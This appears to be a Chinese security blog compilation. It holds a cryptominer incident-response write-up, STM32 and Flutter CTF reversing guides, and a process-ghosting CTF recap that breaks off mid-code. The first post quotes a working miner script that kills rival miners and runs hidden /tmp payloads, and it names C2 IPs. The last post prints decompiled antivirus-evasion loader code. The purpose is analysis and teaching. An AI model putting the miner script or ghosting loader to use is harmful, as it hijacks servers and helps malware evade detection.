记一次挖矿病毒的溯源
ps:因为项目保密的原因部分的截图是自己在本地的环境复现。 1. 起因 客户打电话过来说,公司web服务异常卡顿。起初以为是web服务缓存过多导致,重启几次无果后觉得可能是受到了攻击。起初以为是ddos攻击,然后去查看web服务器管理面板时发现网络链接很少,但是cpu占用高达99%,于是便怀疑是中了挖矿病毒。 2.排查可疑进程 首先发现cpu占用率过高,初步怀疑是挖矿病毒。于是上ssh开始排查 使用top命令查看进程占用列表。发现并没有占用过高的程序,但是查询cpu占用率确实是99%。怀疑是隐藏了linux进程。 以为是做了进程隐藏,于是写了个python脚本遍历/proc目录。/proc目录是一个虚拟文件系统,用于提供有关系统内核和运行进程的信息。该目录中包含一系列以数字命名的子目录,每个子目录代表一个正在运行的进程。在这些子目录中,可以访问有关进程状态、内存使用情况、打开的文件列表等信息。 该脚本遍历proc目录,查询ps aux不显示的进程id,然后显示打印出来。 import os def get_max_pid():    pid_list = [int(pid) for pid in os.listdir('/proc') if pid.isdigit()]    return str(max(pid_list)) def get_existing_process_ids(max_pid):    process_ids = []    for pid in range(1, int(max_pid) + 1):        if os.path.exists('/proc/' + str(pid)):            process_ids.append(str(pid))    return process_ids def get_ps_aux_process_ids():    process_ids = []    output = os.popen('ps aux').read()    lines = output.split('n')    for line in lines[1:]:        if line.strip() != '':            pid = line.split()[1]            process_ids.append(pid)    return process_ids max_pid = get_max_pid() existing_process_ids = get_existing_process_ids(max_pid) ps_aux_process_ids = get_ps_aux_process_ids() for pid in existing_process_ids:    if pid not in ps_aux_process_ids:        print('Hidden PID {}'.format(pid)) emmmm, 但是效果不是很理想,有一大部分进程都是僵尸进程。 然后一个一个排查后效果不佳,并无发现什么可疑进程。 3 排查网络链接 于是打算从网络链接中入手,使用netstat-antp进行排查。发现有进程在链接47.130.146.28这个ip地址,然后拿这个ip地址反查域名。 发现是绑定的log.softgoldinformation.com这个域名。 然后搜索这个域名,发现之前也有人排查过了。 然后发现其实还有其他ip这里就不一一截图了。moneroocean,xmrig,kdevtmpfsi,mysqlserver等病毒基本上都有在链接。(服务器基本上已经中了n种病毒了。基本上与各种矿池都有链接。) 然后协商客户运维,设置只允许服务器访问国内ip地址,这一步主要是为了能通畅的链接ssh。因为挖矿病毒一般都是挖取xmr,xmr使用的基本上都是cpu,在挖矿进程链接不了矿池的情况下通常都不会产生cpu占用。果然禁止服务器出网后,cpu占用率就下来了。(也是为了防止服务器继续链接挖矿者的c2) 4 寻找漏洞 问过客户服务器有装什么软件,然后说是为了方便做web数据库的缓存,半个月之前装了redis。 使用ps aux|grep redis查看redis端口。 尝试空密码链接成功。基本确定入口点是redis。 5 补救措施 发现基本已经在跑着几个挖矿的病毒了。这里不确定能不能把后门排查完,只能和客户沟通说先排查一遍看看。(因为挖矿木马一般都会有后门,在清理挖矿程序后,后门会自动检查挖矿程序是否运行,如果不运行的话会重新下载一个挖矿程序然后再次运行。所以在完全清除挖矿程序后一段时间内,cpu占用率不飙升就可以说明清理成功。反之则说明挖矿病毒并未清理成功。) 首先查看一下定时任务。 发现并无异常。 cat /etc/crontab 然后查看tmp目录,发现有sh文件,这里抽取一个sh来分析,基本上/tmp出现这种都可以确定服务器被挖矿了。同理的还有/var/tmp目录。 ls -la /tmp 随便打开一个配置文件就能发现,攻击者的矿池地址和钱包地址。这种情况基本把tmp目录全部清除即可。 下面是一个solr的挖矿病毒脚本,这里只是kill掉了挖矿同行的进程和定时任务。 #!/bin/sh export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin while [ 1 ] do    killall /tmp/*    killall /var/tmp/*   crontab -l | sed '/195.3.146.118/d' | crontab -   crontab -l | sed '/cf.sh/d' | crontab -   crontab -l | sed '/xms/d' | crontab -   crontab -l | sed '/kwork.sh/d' | crontab -   crontab -l | sed '/cyberium/d' | crontab -   crontab -l | sed '/newdat/d' | crontab -    rm -f /tmp/*    ps aux | grep -v grep | grep 'javaupDates' | awk '{print $2}' | xargs -I % kill -9 %    ps aux | grep -v grep | grep 'givemexyz' | awk '{print $2}' | xargs -I % kill -9 %    ps aux | grep -v grep | grep 'dbused' | awk '{print $2}' | xargs -I % kill -9 %    ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %    ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %    ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %    ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %    ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'urlopen' | awk '{print $2}' | xargs -I % kill -9 %   pgrep JavaUpdate | xargs -I % kill -9 %   pgrep kinsing | xargs -I % kill -9 %   pgrep donate | xargs -I % kill -9 %   pgrep kdevtmpfsi | xargs -I % kill -9 %   pgrep trace | xargs -I % kill -9 %   pgrep sysupdate | xargs -I % kill -9 %   pgrep mysqlserver | xargs -I % kill -9 %    ps aux | grep -v grep | grep 'trace' | awk '{print $2}' | xargs -I % kill -9 %   pkill xmrig   pkill sysupdate   pkill sysguard   pkill kthreaddk   pkill networkservice   pkill kdevtmpfsi   pkill watchbog    p=$(ps auxf|grep solrd|awk '{if($3>=60.0) print $2}')    name=""$p    if [ -z "$name" ]    then       pkill solrd        ps aux | grep -v grep | grep -v 'java|redis|weblogic|solr|mongod|mysql|oracle|tomcat|grep|postgres|confluence|awk|aux|sh' | awk '{if($3>60.0) print $2}' | xargs -I % kill -9 %       nohup /tmp/.solr/solrd &>>/dev/null &        sleep 30       nohup /tmp/.solr/genshin &>>/dev/null &        sleep 30    else         :    fi done • 查看/etc/passwd 是否有恶意用户 cat /etc/passwd 查看ssh是否有后门用户 (因为是redis的洞 很有可能会写入sshkey) ls -la /root/.ssh/ 然后用clamscan扫描一遍 clamscan -r / 设置redis密码登录。(这一步是由客户人员配置) 然后删除tmp目录下的脚本文件 rm -rf /tmp/*.sh 6 脚本分析 这里抽取其中的一个sh脚本讲一下挖矿病毒逻辑,因为脚本较大,所以这里是抽取部分代码过一遍逻辑,实际上常见的挖矿病毒脚本基本都差不多是一个逻辑,所以这里抽取了一个。 首先脚本的逻辑是从kill掉其他挖矿同行进程开始 然后写了一个定时任务 然后判断目标系统位数,到http://94.103.87.71/去下载病毒程序 这也就是最终的病毒文件 果不其然 最后是自动清理本身 总结 这次事故主要是因为开发人员不懂安全,直接开放redis数据库在公网并且不设置登录密码。虽然是内网服务器但是万幸做好了隔离。不然挖矿病毒肯定会在内网进行传播。 ps:听说客户之后去问了开发小哥,开发小哥说随便在网上找的教程,教程上是这样配置的就直接复制粘贴上去。所以建议大家在配置东西的时候尽量去查一下文档。
STM32在CTF中的应用和快速解题
题目给的是bin文件,基本上就是需要我们手动修复的固件逆向。 如果给的是hex文件,我们可能需要使用MKD进行动态调试 主要还是以做题为目的 详细的可以去看文档:https://pdf1.alldatasheet.com/datasheet-pdf/view/201596/STMICROELECTRONICS/STM32F103C8T6.html SVD文件下载:https://github.com/posborne/cmsis-svd 本文参考了网上多篇文章,最终汇总在一篇,对这道新的STM32题进行解题。 IDA分析设置 1、基础设置 STM32主要信息: 内核:ARM32位Cortex-M3 CPU ARM Little-endian Cortex-M架构属于ARMv7-M IDA32位打开 ARM little-endian ‍ 点击ok之后进入 flash的映射地址是 0x08000000 ~ 0x0807ffff (512KB) flash就是我们装代码的地方,也是STM32入口 下面这张图来自STM32中文参考手册 从这张表中,可以了解的信息是,在偏移4的位置存储的是RESET,并且是固定的。 Reset就是充电就会执行并进入的地方,因此将其当做固件入口 在IDA偏移为4的地方,按下“D”键进行转换 得到了RESET的地址:0x80004D1 可以看到为奇数,说明是thumb指令 按下 "G" 键进行跳转 然后神奇的一幕发生了 自动识别了很多函数 其实这没有固定的套路,我们跟踪跳转,一步一步的分析,最终会到达关键步骤 分析函数 :sub_8000260 发现爆红了,需要我们手动添加一些段 Flash Memory: 0x8000000 ~ 0x801FFFF (128K) SRAM: 0x20000000 ~ 0x20004FFF (20K) Peripherals: 0x40000000 ~ 0x40023400 ‍ 2、添加段-SRAM 单片机内存被总分为flash(rom)和sram(ram),flash里面的数据掉电可保存,sram中的数据掉电就丢失,sram的执行速度要快于flash,flash容量大于sram 单片机的程序存储分为code(代码存储区)、RO-data(只读数据存储区)、RW-data(读写数据存储区) 和 ZI-data(零初始化数据区) Flash 存储 code和RO-data Sram 存储 RW-data 和ZI-data 所以,SRAM段需要我们自己添加 [0x20000000,0x2000ffff] SRAM: 0x20000000 ~ 0x20004FFF (20K) 存放程序动态执行时的变量 ‍ ‍3、添加段-Peripherals Peripherals: 0x40000000 ~ 0x400234ff    #这里还是改为了0x400234ff 而不是 0x40023400 在实战中发现多有多余的爆红,因此范围扩大总没错 外设寄存器的映射地址,程序通过读写这些内存地址实现对外围设备的控制 Peripherals 段中包含了我们要了解的寄存器 ‍ 4、恢复中断向量表 地址0x8000000 -0x80000eb 存储了中断向量表的相关信息 使用python脚本,主要功能是删除旧的分析,添加dword类型分析 for i in range(0x8000000,0x80000eb,1): del_items(i) for i in range(0x8000000,0x80000eb,4): create_dword(i) print("ok") 可以看到均已恢复 修复完成后,发现了很多重复的地址,比如:0x8000519 这些函数并没有定义 跳转过去,将其全部生成对应的函数,使用(P 键) 官方图: ‍ 5、恢复符号 bindiff来恢复符号表 如果有闲工夫或者是对stm32的开发非常上手,就可以自己写一个demo,尽可能多的使用到各种库函数,然后编译出一个axf文件。我这里的话,由于好久没有用stm32了,开发起来有些生疏,所以就不自己手写了,我选择捡现成的项目,编译出axf文件 可以多选几个例程,能涵盖更多的库函数,将这些axf文件用IDA打开,然后生成idb文件。然后在我们的目标bin文件中,使用bindiff加载idb文件。 网上随便找一个,下载axf文件 选择一个idb文件,然后会出现这样一个比较界面: 选取similarity大的函数导入到bin文件中 导入之后实际上就能恢复大部分的函数名了。 ‍ ‍6、恢复外设 导入SVD文件,恢复外设结构 在IDA7.5以后,就自带SVD文件加载插件了,如下图: 打开之后如下: 我们可以自行下载相应的SVD文件,或者加载GitHub上的仓库,我这里选择自行下载然后在本地加载。 下载链接是这个: assets/stm32-svd-main-20231209212159-rbquvf5.zip选中想要加载的svd文件之后,IDA就会自动恢复bin文件中的外设结构,体现在伪代码中就是这样: (在这题中好像没什么用) ‍ ‍7、解题 基本上做完上面的操作后 STM32就能看了 进入main函数 继续分析 题目说的是要找key 但是发现Key没有值。。。也就是说要么动调要么爆破,给了密文,就差了key 因此写出解密脚本 先转换一下 int main() {      int  v19[8] = { 0 };    v19[0] = 0xF4DD0F64;    v19[1] = 0x5173B9F8;    v19[2] = 0xC7D238B2;    v19[3] = 0x9B9FCA8;    v19[4] = 0x286D3C51;    v19[5] = 0x429DE399;    v19[6] = 0x8084307B;    LOWORD(v19[7]) = 0x9175;    for (size_t i = 0; i < 8; i++)   {        for (size_t j = 0; j < 4; j++)       {            printf("%02x ", (v19[i] >> 8 * j)&0xff);       }   }    return 0; } ‍写出解密脚本: from itertools import product from Crypto.Cipher import ARC4 xorkey ="flag{tH14.l4_F@kKkEeeE---f41g}" enc = bytearray([0x64,0x0f,0xdd,0xf4,0xf8,0xb9,0x73,0x51,0xb2,0x38,0xd2,0xc7,0xa8,0xfc,0xb9,0x09,0x51,0x3c,0x6d,0x28,0x99,0xe3,0x9d,0x42,0x7b,0x30,0x84,0x80,0x75,0x91]) l = list(range(0x20,0x7f)) for k in product(l, repeat=4):    key = bytearray(k)    res = ARC4.new(key).decrypt(xorkey.encode())    if res == enc:        print('get')        print(key)        exit(0) 使用C语言爆破会更快 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <openssl/arc4.h> #define XOR_KEY "flag{tH14.l4_F@kKkEeeE---f41g}" #define ENC_SIZE 29 int main() {    uint8_t enc[ENC_SIZE] = {0x64, 0x0f, 0xdd, 0xf4, 0xf8, 0xb9, 0x73, 0x51, 0xb2, 0x38, 0xd2, 0xc7, 0xa8, 0xfc, 0xb9, 0x09, 0x51, 0x3c, 0x6d, 0x28, 0x99, 0xe3, 0x9d, 0x42, 0x7b, 0x30, 0x84, 0x80, 0x75, 0x91};    int l[] = {0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,               0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f,               0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f,               0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,               0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f,               0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f};    int l_size = sizeof(l) / sizeof(int);    uint8_t key[4];    uint8_t dec[ENC_SIZE];    for (int i = 0; i < l_size; i++) {        for (int j = 0; j < l_size; j++) {            for (int k = 0; k < l_size; k++) {                for (int m = 0; m < l_size; m++) {                    key[0] = l[i];                    key[1] = l[j];                    key[2] = l[k];                    key[3] = l[m];                    ARC4_CTX ctx;                    ARC4_set_key(&ctx, 4, key);                    ARC4(&ctx, ENC_SIZE, enc, dec);                    if (memcmp(dec, XOR_KEY, ENC_SIZE) == 0) {                        printf("get\n");                        printf("%c%c%c%c\n", key[0], key[1], key[2], key[3]);                        exit(0);                   }               }           }       }   }    return 0; } 爆破出秘钥: d4@d
【flutter对抗】blutter使用+ACTF习题
最新的能很好反编译flutter程序的项目 ‍1、安装 git clone https://github.com/worawit/blutter --depth=1 然后我直接将对应的两个压缩包下载下来(通过浏览器手动下载) 不再通过python的代码来下载,之前一直卡在这个地方。 如果读者可以正常运行init_env_win.py,手动这一步可以省略。 cd .\blutter\ python .\scripts\init_env_win.py 再次运行就可以安装成功 ‍ 2、blutter反编译使用 运行该工具,进入目标文件夹 提供libapp.so 和 libflutter.so 的目录 python blutter.py C:\Users\Le\Desktop\flutter\chall\lib\armeabi-v7a .\output 然后报错。。。 但是问题不大,好像是我们的架构不支持,我们换一个 再次运行,发现正在下载对应Dart版本的信息 全程代理! 要不然还会报错 正常情况下: 安装完成后,再次运行命令: 报错:0x22说明权限不够,使用管理员模式运行即可 反编译成功 查看文件目录: 到此,blutter模块反编译flutter成功! ‍ 3、IDA恢复libapp.so符号 拖进IDA64 发现符号全无,不利于我们分析,此时blutter工具的用法就体现出来了 运行生成的脚本: 见证奇迹的时刻到了 ‍ 4、分析 flutter中:onTap函数是按钮点击响应函数,CTF中以此作为入口进行分析 进入1DE500函数 进入分析发现一堆代码 目前不知道什么加密,因为“面目全非”(有256,%符号) 使用blutter生成的frida脚本,对该函数进行hook,观察其返回结果 frida -U -f com.example.flutter_application_1 -l blutter_frida.js hook目标函数 然后发现没有触发 猜测flag长度有限制,后面知道了原来是模拟器有bug,我换了真机才可以 ‍ 得到了比较的数组,也就是密文 Unhandle class id: 46, TypeArguments GrowableList@750038d0f1 = [  188698,  0, {    "key": "Unhandle class id: 46, TypeArguments" },  34, {    "key": [      184,      132,      137,      215,      146,      65,      86,      157,      123,      100,      179,      131,      112,      170,      97,      210,      163,      179,      17,      171,      245,      30,      194,      144,      37,      41,      235,      121,      146,      210,      174,      92,      204,      22   ] },  0,  0,  0 ] ‍ 接下来使用IDA进行so的一个动调 选择same 找到module 运行程序 读者可以使用高级语言来看,为了理解更深刻,我这里采用了汇编来看 ‍ 可以看到比较256次 RC4的经典特征 ‍ 在异或出添加输出断点: 搜索指令  EOR             X5, X3, X2 import idc print(idc.get_reg_value("X2"),",",end="") 拿到异或的所有值 xor = [14, 14, 68, 80, 29, 201, 241, 46, 197, 208, 123, 79, 187, 55, 234, 104, 40, 117, 133, 12, 67, 137, 91, 31, 136,       177, 64, 234, 24, 27, 26, 214, 122, 217] 然后还有密文 这里使用了oacia师傅的脚本 final = [184, 132, 137, 215, 146, 65, 86, 157, 123, 100, 179, 131, 112, 170, 97, 210, 163, 179, 17, 171, 245, 30, 194,         144, 37, 41, 235, 121, 146, 210, 174, 92, 204, 22] xor = [14, 14, 68, 80, 29, 201, 241, 46, 197, 208, 123, 79, 187, 55, 234, 104, 40, 117, 133, 12, 67, 137, 91, 31, 136,       177, 64, 234, 24, 27, 26, 214, 122, 217] flag = [chr(xor[i]^final[i]^0xff) for i in range(len(final))] print(''.join(flag)) 感谢oacia师傅的分享 ‍
【父子进程/AES/XTEA/SMC】赛后复盘
官方wp: 进程重影技术: 进程重映像利用了Windows内核中的缓存同步问题,它会导致可执行文件的路径与从该可执行文件创建的映像节区所报告的路径不匹配。通过在一个诱饵路径上加载DLL,然后卸载它,然后从一个新路径加载它,许多Windows API将返回旧路径。这可能可以欺骗安全产品,使其在错误的路径上查找加载的映像。 主要创建方式就是先打开一个新文件,然后把这个文件挂到删除列表上,在关闭文件句柄后文件就会被删除,但是在还没有关闭的时候此时文件还未删除,此时能向文件中写入数据,然后再把这个文件映射到内存上,再关闭文件句柄,此时文件删除,但是内存中还有文件的映像,达到一定的迷惑杀软的目的。 如果是做题的话,直接用IDA附加开启的子进程,然后发现XTEA,解密得到flag 如果是学技术的话,还是要研究一下 “进程重影” 技术思路。 本文两者都会介绍的。 考点:AES\XTEA\进程与子进程\SMC\进程重影 分析 DIE打开,发现是pe64位,无壳 拖进IDA进行分析 习惯操作,先用FindCrypto扫一下,有没有加密 发现AES加密 跟踪main函数,看看它到底要干什么 int __cdecl main_0(int argc, const char **argv, const char **envp) {    j___CheckForDebuggerJustMyCode(&unk_1400A80B9);// vs2022调试debug版c++程序会出现该函数,我也不知道啥用    sub_140001FF0(*argv);    return 0; } AES核心加密逻辑函数 __int64 __fastcall sub_13F887480(char *a1, char *a2, unsigned int a3, __int64 a4, __int64 a5) {  __int64 result; // rax  unsigned __int64 i; // [rsp+28h] [rbp+8h]  unsigned __int8 v7; // [rsp+44h] [rbp+24h]  j___CheckForDebuggerJustMyCode(&unk_13F92800D);  v7 = a3 % 0x10;  if ( a4 ) {    qword_13F91D188 = a4;    sub_13F888EA0(); }  if ( a5 )    qword_13F91D240 = a5;  for ( i = 0i64; i < a3; i += 16i64 ) {    sub_13F889C80(a2);    j_memmove(a1, a2, 0x10ui64);    qword_13F91D180 = (__int64)a1;    sub_13F887850();    qword_13F91D240 = (__int64)a1;    a2 += 16;    a1 += 16; }  result = v7;  if ( v7 ) {    j_memmove(a1, a2, v7);    qword_13F91D180 = (__int64)a1;    return sub_13F887850(); }  return result; } 跟进了sub_14000A700函数 signed int __fastcall sub_14000A700(const char *a1) {  char *v1; // rdi  __int64 i; // rcx  DWORD LastError; // eax  signed int result; // eax  HANDLE CurrentProcess; // rax  size_t v6; // rax  DWORD dwCreationDisposition; // [rsp+20h] [rbp-40h]  char v8; // [rsp+60h] [rbp+0h] BYREF  CHAR FileName[48]; // [rsp+68h] [rbp+8h] BYREF  __int64 v10[4]; // [rsp+98h] [rbp+38h] BYREF  HANDLE hObject; // [rsp+B8h] [rbp+58h]  unsigned int v12; // [rsp+D4h] [rbp+74h]  char v13[36]; // [rsp+F4h] [rbp+94h] BYREF  int v14[12]; // [rsp+118h] [rbp+B8h] BYREF  __int64 (__fastcall *v15)(HANDLE, int *, char *, __int64, int); // [rsp+148h] [rbp+E8h]  HRSRC hResInfo; // [rsp+168h] [rbp+108h]  DWORD v17; // [rsp+184h] [rbp+124h]  HGLOBAL hResData; // [rsp+1A8h] [rbp+148h]  void *Src; // [rsp+1C8h] [rbp+168h]  DWORD NumberOfBytesWritten; // [rsp+1E4h] [rbp+184h] BYREF  DWORD nNumberOfBytesToWrite[8]; // [rsp+204h] [rbp+1A4h] BYREF  size_t Size; // [rsp+224h] [rbp+1C4h]  void *Block; // [rsp+248h] [rbp+1E8h]  LPCVOID lpBuffer[4]; // [rsp+268h] [rbp+208h] BYREF  __int64 (__fastcall *v25)(__int64 *, __int64, _QWORD, _QWORD, int, int, HANDLE); // [rsp+288h] [rbp+228h]  __int64 v26[3]; // [rsp+2A8h] [rbp+248h] BYREF  unsigned int v27[9]; // [rsp+2C4h] [rbp+264h] BYREF  HANDLE hHandle[4]; // [rsp+2E8h] [rbp+288h] BYREF  __int64 (__fastcall *v29)(HANDLE *, __int64, _QWORD, HANDLE, DWORD, __int64, _QWORD, _QWORD); // [rsp+308h] [rbp+2A8h]  char v30[76]; // [rsp+328h] [rbp+2C8h] BYREF  int v31; // [rsp+374h] [rbp+314h]  __int64 (__fastcall *v32)(HANDLE, _QWORD, char *, __int64, _QWORD); // [rsp+398h] [rbp+338h]  char *Str; // [rsp+3B8h] [rbp+358h]  int v34; // [rsp+3D4h] [rbp+374h]  int v35; // [rsp+3F4h] [rbp+394h]  int v36; // [rsp+414h] [rbp+3B4h]  wchar_t *Dest; // [rsp+438h] [rbp+3D8h]  __int64 v38[63]; // [rsp+460h] [rbp+400h] BYREF  __int64 v39; // [rsp+658h] [rbp+5F8h]  __int64 v40[4]; // [rsp+678h] [rbp+618h] BYREF  __int64 (__fastcall *v41)(__int64 *, __int64, _QWORD, HANDLE, __int64, _QWORD, _DWORD, _QWORD, _QWORD, _QWORD, _QWORD); // [rsp+698h] [rbp+638h]  int v42; // [rsp+9A4h] [rbp+944h]  v1 = &v8;  for ( i = 404i64; i; --i ) {    *(_DWORD *)v1 = -858993460;    v1 += 4; }  j___CheckForDebuggerJustMyCode(&unk_1400A80B9);  strcpy(FileName, "VNctf2023");  v10[0] = 0x616C7972723073i64;  hObject = CreateFileA(FileName, 0xC0010000, 0, 0i64, 2u, 0x80u, 0i64);// 创建一个文件  if ( hObject == (HANDLE)-1i64 ) {                                             // 失败    LastError = GetLastError();    return sub_14000257C("Failed - Error Code %08X\r\n", LastError); }  else {    v13[0] = 1;                                 // 创建成功    v15 = (__int64 (__fastcall *)(HANDLE, int *, char *, __int64, int))sub_1400016B3("NtSetInformationFile");    v12 = v15(hObject, v14, v13, 1i64, 13);    if ( v14[0] >= 0 )   {      hResInfo = FindResourceA(0i64, (LPCSTR)0x66, "shell");// 寻找指定类型和名称的资源位置      v17 = SizeofResource(0i64, hResInfo);     // 资源大小      hResData = LoadResource(0i64, hResInfo);  // 加载资源      Src = LockResource(hResData);      NumberOfBytesWritten = 0;      nNumberOfBytesToWrite[0] = 0;      LODWORD(Size) = v17 - 4;      Block = j_j_j__malloc_base(v17 - 4);      j_memmove(Block, Src, (unsigned int)Size);      j_memmove(nNumberOfBytesToWrite, (char *)Src + (unsigned int)Size, 4ui64);      GlobalUnlock(hResData);      lpBuffer[0] = 0i64;      NumberOfBytesWritten = sub_1400030BC(Block, v10, lpBuffer, (unsigned int)Size);  //关键函数,好像对shell资源进行了 AES加密      if ( NumberOfBytesWritten >= nNumberOfBytesToWrite[0]        && lpBuffer[0]        && WriteFile(hObject, lpBuffer[0], nNumberOfBytesToWrite[0], &NumberOfBytesWritten, 0i64)// 加密后shell 写到资源到文件        && (j_free(Block),                      // 释放            j_free((void *)lpBuffer[0]),            v25 = (__int64 (__fastcall *)(__int64 *, __int64, _QWORD, _QWORD, int, int, HANDLE))sub_1400016B3("NtCreateSection"),// 创建节对象            v12 = v25(v26, 983071i64, 0i64, 0i64, 2, 0x1000000, hObject),           (v12 & 0x80000000) == 0) )          // 猜测上面的代码,就是把shell 资源 写到一个叫 vnctf2023的文件里面     {        result = sub_14000347C(hObject, v27, nNumberOfBytesToWrite[0]);        if ( result )                           // 写入成功       {          CloseHandle(hObject);          hHandle[0] = 0i64;          v29 = (__int64 (__fastcall *)(HANDLE *, __int64, _QWORD, HANDLE, DWORD, __int64, _QWORD, _QWORD))sub_1400016B3("NtCreateProcess");// 启动进程          CurrentProcess = GetCurrentProcess();          LOBYTE(dwCreationDisposition) = 1;          result = v29(hHandle, 0x1FFFFFi64, 0i64, CurrentProcess, dwCreationDisposition, v26[0], 0i64, 0i64);          v12 = result;          if ( result >= 0 )         {            memset(v30, 0, 0x30ui64);            v31 = 0;            v32 = (__int64 (__fastcall *)(HANDLE, _QWORD, char *, __int64, _QWORD))sub_1400016B3("NtQueryInformationProcess");            result = v32(hHandle[0], 0i64, v30, 48i64, 0i64);            v12 = result;            if ( result >= 0 )           {              Str = (char *)j_j_j__malloc_base(4ui64);              sub_1400039C2(Str, "%x", NumberOfBytesWritten);              v34 = j_strlen(FileName);              v35 = j_strlen(a1);              v36 = j_strlen(Str);              j_strcat(FileName, " ");              j_strcat(FileName, a1);              j_strcat(FileName, " ");              j_strcat(FileName, Str);              v34 += v35 + v36 + 2;              v42 = v34 + 1;              v6 = (unsigned int)(2 * (v34 + 1));              if ( !is_mul_ok(2u, v34 + 1) )                v6 = -1i64;              Dest = (wchar_t *)j_j_j__malloc_base(v6);              sub_140003175(Dest, 0i64, 2 * v34 + 2);              j_mbstowcs(Dest, FileName, v34);              result = sub_140003DBE(hHandle[0], v30, Dest);              if ( result )             {                j_free(Dest);                memset(v38, 0, 0x1B8ui64);                result = sub_140002176(hHandle[0], v30, v38);                if ( result )               {                  v38[59] = v38[2];                  v39 = v38[2] + v27[0];                  v40[0] = 0i64;                  v41 = (__int64 (__fastcall *)(__int64 *, __int64, _QWORD, HANDLE, __int64, _QWORD, _DWORD, _QWORD, _QWORD, _QWORD, _QWORD))sub_1400016B3("NtCreateThreadEx"); //启动线程                  result = v41(v40, 0x1FFFFFi64, 0i64, hHandle[0], v39, 0i64, 0, 0i64, 0i64, 0i64, 0i64);                  v12 = result;                  if ( result >= 0 )                    return WaitForSingleObject(hHandle[0], 0xFFFFFFFF);               }             }           }         }       }     }      else     {        return CloseHandle(hObject);     }   }    else   {      sub_14000257C("Failed - Error Code %08X\r\n", v12);      return CloseHandle(hObject);   } }  return result; } 关键函数 sub_140009E20,就是那个对shell资源进行处理的函数 __int64 __fastcall sub_140009E20(__int64 a1, const char *a2, void **a3, unsigned int a4) {  char *v4; // rdi  __int64 i; // rcx  size_t v6; // rax  char v8; // [rsp+20h] [rbp+0h] BYREF  char v9[44]; // [rsp+28h] [rbp+8h] BYREF  unsigned int v10; // [rsp+54h] [rbp+34h]  BOOL v11; // [rsp+74h] [rbp+54h]  int j; // [rsp+94h] [rbp+74h]  size_t Size; // [rsp+168h] [rbp+148h]  v4 = &v8;  for ( i = 42i64; i; --i ) {    *(_DWORD *)v4 = -858993460;    v4 += 4; }  j___CheckForDebuggerJustMyCode(&unk_1400A80B9, a2, a3);  v11 = a4 % 0x10 != 0;  v10 = 16 * (v11 + a4 / 0x10);  v6 = v10 + 1;  if ( v10 == -1 )    v6 = -1i64;  *a3 = j_j_j__malloc_base(v6);  sub_140003175(*a3, 0i64, v10 + 1);              sub_140003175(v9, 0i64, 16i64);  if ( j_strlen(a2) <= 0x10 )    Size = j_strlen(a2);  else    Size = 16i64;  j_memmove(v9, a2, Size);  for ( j = 0; 16 * j < a4; ++j )    sub_140002DE7(16 * j + a1, v9, (char *)*a3 + 16 * j, 16i64);// AES解密函数 我思考了一下,如果shell进行加密,那么shell还能运行吗?反之,只有解密,才可以正常运行  return v10; } 根进观察一下 __int64 __fastcall sub_140007620(const void *a1, __int64 a2, void *a3, unsigned int a4) {  j___CheckForDebuggerJustMyCode(&unk_1400A800D, a2, a3);  j_memmove(a3, a1, a4);  qword_14009D180 = (__int64)a3;  qword_14009D188 = a2;  sub_140008EA0();  return sub_1400078E0(); } 发现了一堆函数,一个一个看看 最后发现sub_1400078E0函数的代码,长得特别像AES加密函数。 从 confuse_us 那题就可以发现,这些代码长得很像.就是AES加密套路 __int64 __fastcall sub_1400078E0(__int64 a1, __int64 a2, __int64 a3) {  __int64 v3; // rcx  unsigned __int8 i; // [rsp+24h] [rbp+4h]  j___CheckForDebuggerJustMyCode(&unk_1400A800D, a2, a3);  LOBYTE(v3) = 10;  sub_140007760(v3);  for ( i = 9; i; --i ) {    sub_140008980();    sub_140008DF0();    sub_140007760(i);    sub_140007970(); }  sub_140008980();  sub_140008DF0();  return sub_140007760(0i64); } 跟进sub_140007760 函数,发现就是addroundkey() __int64 __fastcall sub_140007760(unsigned __int8 a1, __int64 a2, __int64 a3) {  __int64 result; // rax  unsigned __int8 i; // [rsp+24h] [rbp+4h]  unsigned __int8 j; // [rsp+44h] [rbp+24h]  j___CheckForDebuggerJustMyCode(&unk_1400A800D, a2, a3);  for ( i = 0; ; ++i ) {    result = i;    if ( i >= 4u ) //这不就是 addroundkey() 函数吗?      break;    for ( j = 0; j < 4u; ++j )      *(_BYTE *)(qword_14009D180 + 4i64 * i + j) ^= byte_14009D190[16 * a1 + 4 * i + j]; //对比confuse_us那题,发现没有魔改 ^0x23 }  return result; } 其余函数也就不用再分析了,可以断定这是AES加密函数。 对shell资源进行AES解密,然后shell程序跑起来 运行该程序,发现我追踪的进程居然挂掉了,又跑起来了另一个进程 可以断定,父进程开子进程 子进程输入flag 我再次运行,发现jiji.exe没了??? 传递的参数 FileName VNctf2023 C:\Users\Le\Desktop\jijiji.exe 16000 s0rryla 附加下子进程 搜索字符串,但是无法找到关键函数 直接dump解密后的exe文件 断点下在此处,然后运行,找到解密后的文件,dump下来 D键转地址 跳转到MZ头部,发现这就是解密后的程序 把它dump下来 def main():    begin = 0x23F8CB49290 # #需对应修改    size = 0x16000  # #需对应修改    list1 = []    for i in range(size):        